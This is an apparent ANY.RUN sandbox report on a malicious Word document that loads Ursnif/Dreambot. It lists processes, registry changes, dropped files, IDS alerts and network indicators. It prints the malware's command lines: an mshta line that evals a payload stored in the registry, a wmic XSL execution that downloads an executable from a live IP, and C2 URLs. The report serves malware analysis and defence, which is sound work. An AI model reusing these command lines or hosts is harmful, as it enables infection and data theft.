File name:

55442cc275eb47841274e1ffea1a6a958263cadd6377da6c3ed97a464ee3d59b.doc

Full analysis: https://app.any.run/tasks/18a4c239-d715-44e4-a01f-2fffbd893c9a
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: June 12, 2019, 02:43:02
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
opendir
loader
trojan
gozi
ursnif
dreambot
evasion
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

ACFF0ECEA548BE69DC3BFE93203CB1DC

SHA1:

45E8F445942B09AF73E04F60702C5E308B5911C9

SHA256:

55442CC275EB47841274E1FFEA1A6A958263CADD6377DA6C3ED97A464EE3D59B

SSDEEP:

12288:/GQapqZnn8SBc+k2k2vOG4Zt/JS87ANjxnWCbbhKaXWyyKMJrd:/FapknPTDk2v8DS87EjxnWAbTWm6Z

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2944)

    • Application was dropped or rewritten from another process

      • aIXelg.exe (PID: 3372)

    • Downloads executable files from the Internet

      • wmic.exe (PID: 2928)

    • Downloads executable files from IP

      • wmic.exe (PID: 2928)

    • URSNIF was detected

      • iexplore.exe (PID: 2288)
      • iexplore.exe (PID: 4036)

    • DREAMBOT was detected

      • iexplore.exe (PID: 2288)

    • Connects to CnC server

      • iexplore.exe (PID: 2288)
      • iexplore.exe (PID: 4036)

    • Executes PowerShell scripts

      • mshta.exe (PID: 2736)

    • Starts Visual C# compiler

      • powershell.exe (PID: 3968)

    • Runs PING.EXE for delay simulation

      • cmd.exe (PID: 3836)

    • Runs injected code in another process

      • powershell.exe (PID: 3968)

    • Application was injected by another process

      • explorer.exe (PID: 252)

    • URSNIF Shellcode was detected

      • explorer.exe (PID: 252)

  • SUSPICIOUS

    • Creates files in the Windows directory

      • WINWORD.EXE (PID: 2944)
      • wmic.exe (PID: 2928)

    • Executable content was dropped or overwritten

      • wmic.exe (PID: 2928)

    • Executed via COM

      • iexplore.exe (PID: 3844)

    • Reads Internet Cache Settings

      • explorer.exe (PID: 252)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • explorer.exe (PID: 252)

    • Creates files in the user directory

      • powershell.exe (PID: 3968)
      • explorer.exe (PID: 252)
      • makecab.exe (PID: 2188)

    • Starts CMD.EXE for self-deleting

      • explorer.exe (PID: 252)

    • Starts CMD.EXE for commands execution

      • explorer.exe (PID: 252)

    • Checks for external IP

      • nslookup.exe (PID: 1628)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2944)

    • Starts Microsoft Office Application

      • explorer.exe (PID: 252)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2944)
      • iexplore.exe (PID: 2288)

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 2288)
      • iexplore.exe (PID: 3844)
      • iexplore.exe (PID: 4036)

    • Changes internet zones settings

      • iexplore.exe (PID: 3844)

    • Reads internet explorer settings

      • iexplore.exe (PID: 2288)
      • iexplore.exe (PID: 4036)
      • mshta.exe (PID: 2736)

    • Application launched itself

      • iexplore.exe (PID: 3844)

    • Manual execution by user

      • mshta.exe (PID: 2736)
      • cmd.exe (PID: 3836)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docm | Word Microsoft Office Open XML Format document (with Macro) (53.6)
.docx | Word Microsoft Office Open XML Format document (24.2)
.zip | Open Packaging Conventions container (18)
.zip | ZIP compressed archive (4.1)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0xc8e48bf2
ZipCompressedSize: 426
ZipUncompressedSize: 1635
ZipFileName: [Content_Types].xml

XML

Template: Normal.dotm
TotalEditTime: 2 minutes
Pages: 1
Words: -
Characters: 1
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
HeadingPairs:
  • Title
  • 1
TitlesOfParts: -
Company: -
LinksUpToDate: No
CharactersWithSpaces: 1
SharedDoc: No
HyperlinksChanged: No
AppVersion: 16
Keywords: -
LastModifiedBy: Admin
RevisionNumber: 4
CreateDate: 2019:06:11 10:18:00Z
ModifyDate: 2019:06:11 10:20:00Z

XMP

Title: -
Subject: -
Creator: admin
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
61
Monitored processes
20
Malicious processes
7
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start inject winword.exe no specs wmic.exe aixelg.exe no specs iexplore.exe #DREAMBOT iexplore.exe #URSNIF iexplore.exe mshta.exe no specs powershell.exe no specs csc.exe cvtres.exe no specs csc.exe cvtres.exe no specs #URSNIF explorer.exe cmd.exe no specs ping.exe no specs cmd.exe no specs nslookup.exe cmd.exe no specs makecab.exe no specs makecab.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
252C:\Windows\Explorer.EXEC:\Windows\explorer.exe
ctfmon.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\winanr.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
1628nslookup myip.opendns.com resolver1.opendns.com C:\Windows\system32\nslookup.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
nslookup
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\nslookup.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\wsock32.dll
c:\windows\system32\ws2_32.dll
1692"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\ptdopc0g.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\csc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2188makecab.exe /F "C:\Users\admin\AppData\Local\Temp\9246.bin"C:\Windows\system32\makecab.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Cabinet Maker
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\makecab.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2288"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3844 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2732ping localhost -n 5 C:\Windows\system32\PING.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ping.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\nsi.dll
2736"C:\Windows\System32\mshta.exe" "about:<hta:application><script>moveTo(-898,-989);resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\AppDataLow\\Software\\Microsoft\\89726C36-545A-A301-A6CD-C8873A517CAB\\Devivmgr'));if(!window.flag)close()</script>"C:\Windows\System32\mshta.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
2740C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES89BC.tmp" "c:\Users\admin\AppData\Local\Temp\CSC89BB.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\cvtres.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cryptsp.dll
2888makecab.exe /F "C:\Users\admin\AppData\Local\Temp\4068.bin"C:\Windows\system32\makecab.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Cabinet Maker
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\makecab.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2928wmic os get /format:"C:\\Windows\\Temp\\aYIFhfax.xsl"C:\Windows\System32\Wbem\wmic.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
2147614729
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
Total events
2 458
Read events
1 608
Write events
842
Delete events
8

Modification events

(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:qm
Value:
716D2000800B0000010000000000000000000000
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2944) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1321992222
(PID) Process:(2944) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1321992344
(PID) Process:(2944) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1321992345
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
800B00007EDEB497C820D50100000000
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:kn
Value:
6B6E2000800B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:kn
Value:
6B6E2000800B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2944) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
2
Suspicious files
5
Text files
18
Unknown types
8

Dropped files

PID
Process
Filename
Type
2944WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRE9F1.tmp.cvr —
MD5:—
SHA256:—
3844iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\favicon[1].ico —
MD5:—
SHA256:—
3844iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico —
MD5:—
SHA256:—
3844iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\favicon[1].ico —
MD5:—
SHA256:—
2944WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$442cc275eb47841274e1ffea1a6a958263cadd6377da6c3ed97a464ee3d59b.docpgc
MD5:—
SHA256:—
3844iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFBDDB221EC1B93B70.TMP —
MD5:—
SHA256:—
2944WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:—
SHA256:—
3844iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFABD17192A5A4357F.TMP —
MD5:—
SHA256:—
3844iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{E975B856-8CBB-11E9-B3B3-5254004A04AF}.dat —
MD5:—
SHA256:—
2944WINWORD.EXEC:\Windows\Temp\aYIFhfax.xslxml
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
8
DNS requests
5
Threats
18

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4036
iexplore.exe
GET
200
213.252.245.154:80
http://213.252.245.154/images/eYWR7TKBwDE83fUcC/Zt_2FbYbwjBK/pVGQ9ntH0UH/v5a3n_2FLvwrBV/BYbh84j8AEtO2dmWF7qmY/KZpsdVce8p8MHy2C/6qFAEAeyNxLldWZ/yGuqdA0EsTs1MKrLCa/Owot_2Fe4/kNAmi_2BABt7ot3DYe7q/9iFvt.avi
LT
text
2.30 Kb
malicious
3844
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
3844
iexplore.exe
GET
200
213.252.245.154:80
http://213.252.245.154/favicon.ico
LT
image
5.30 Kb
malicious
2288
iexplore.exe
GET
200
213.252.245.154:80
http://213.252.245.154/images/YKT28zR21RuL/mzPRLWs2tyG/7jg3gTn9Ypx2Lo/Lf2uh5mMw5bS8XS52EFNO/5yURNR9vudzjvhbU/kRtVhEWTAfuSiyB/QYxgwLJEPagNF15YXA/ECbHxhJOn/_2BY2rGTGdMMzyA_2B_2/Fmnhv0FHQ9H7n04/ttzpd.avi
LT
text
213 Kb
malicious
2928
wmic.exe
GET
200
89.45.67.121:80
http://89.45.67.121/files/5507.exe
BG
executable
432 Kb
suspicious
3844
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2928
wmic.exe
89.45.67.121:80
—
BelCloud Hosting Corporation
BG
suspicious
3844
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
2288
iexplore.exe
213.252.245.154:80
—
Informacines sistemos ir technologijos, UAB
LT
malicious
3844
iexplore.exe
213.252.245.154:80
—
Informacines sistemos ir technologijos, UAB
LT
malicious
4036
iexplore.exe
213.252.245.154:80
—
Informacines sistemos ir technologijos, UAB
LT
malicious
—
—
208.67.222.222:53
resolver1.opendns.com
OpenDNS, LLC
US
malicious

DNS requests

Domain
IP
Reputation
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
resolver1.opendns.com
  • 208.67.222.222
shared
222.222.67.208.in-addr.arpa
  • —
unknown
myip.opendns.com
  • 31.204.154.121
shared

Threats

PID
Process
Class
Message
2928
wmic.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
2928
wmic.exe
A Network Trojan was detected
ET CURRENT_EVENTS Possible Malicious Macro DL EXE Feb 2016
2928
wmic.exe
A Network Trojan was detected
ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M1
2928
wmic.exe
Misc activity
ET INFO Packed Executable Download
2928
wmic.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2928
wmic.exe
A Network Trojan was detected
ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M2
2928
wmic.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
2288
iexplore.exe
A Network Trojan was detected
MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in
2288
iexplore.exe
A Network Trojan was detected
MALWARE [PTsecurity] Spy:Win32/Dreambot/Ursnif
2288
iexplore.exe
A Network Trojan was detected
MALWARE [PTsecurity] W32.Dreambot/Ursnif HTTP GET Check-in
3 ETPRO signatures available at the full report
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
55442cc275eb47841274e1ffea1a6a958263cadd6377da6c3ed97a464ee3d59b.doc